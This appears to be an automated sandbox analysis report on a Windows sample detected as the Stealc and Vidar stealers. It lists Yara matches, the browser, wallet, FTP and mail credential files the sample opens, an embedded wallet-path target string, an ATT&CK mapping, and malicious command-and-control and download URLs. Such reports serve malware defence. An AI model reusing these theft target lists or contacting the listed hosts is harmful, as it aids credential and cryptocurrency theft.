Source: Yara match	File source: 0000000F.00000003.2304525460.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2347246471.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2318152598.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2317440322.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2277575400.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2304691515.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2268996704.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2625588301.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2242381283.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3307066431.00000000005A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2283337315.0000000000341000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2630631492.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3307509620.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2309282789.0000000000021000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2718500578.0000000002567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2994798598.000000000263A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9fa327eb6c.exe PID: 7968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9fa327eb6c.exe PID: 4744, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: passphrase.json
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe, 00000000.00000002.2496187977.00000000027A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: Ethereum
Source: file.exe	String found in binary or memory: file__0.localstorage
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: 8e8f4571c5.exe, 0000001C.00000002.3338850451.0000000001FEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP
Source: 8e8f4571c5.exe, 0000001C.00000002.3307370321.0000000000622000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 8e8f4571c5.exe, 00000018.00000002.3338463665.0000000001FE1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP4

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2718500578.0000000002567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2994798598.000000000263A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9fa327eb6c.exe PID: 7968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9fa327eb6c.exe PID: 4744, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8C0C40 sqlite3_bind_zeroblob,	0_2_6C8C0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8C0D60 sqlite3_bind_parameter_name,	0_2_6C8C0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E8EA0 sqlite3_clear_bindings,	0_2_6C7E8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	23 Software Packing	NTDS	346 System Information Discovery	Distributed Component Object Model	11 Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	661 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	43%	Virustotal		Browse
file.exe	100%	Avira	HEUR/AGEN.1312596
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\RoamingIJEGHJECFC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\userAAKKKEBFCG.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	HEUR/AGEN.1312596
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\RoamingIJEGHJECFC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Joe Sandbox ML
C:\Users\userAAKKKEBFCG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
us-west1.prod.sumo.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
ipv4only.arpa	0%	Virustotal	Browse
prod.ads.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.content-signature-chains.prod.webservices.mozgcp.net	0%	Virustotal	Browse
contile.services.mozilla.com	0%	Virustotal	Browse
support.mozilla.org	0%	Virustotal	Browse
detectportal.firefox.com	0%	Virustotal	Browse
shavar.services.mozilla.com	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse
push.services.mozilla.com	0%	Virustotal	Browse
spocs.getpocket.com	0%	Virustotal	Browse
content-signature-2.cdn.mozilla.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Avira URL Cloud	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
http://185.215.113.16/a=t	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	phishing
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	0%	Avira URL Cloud	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
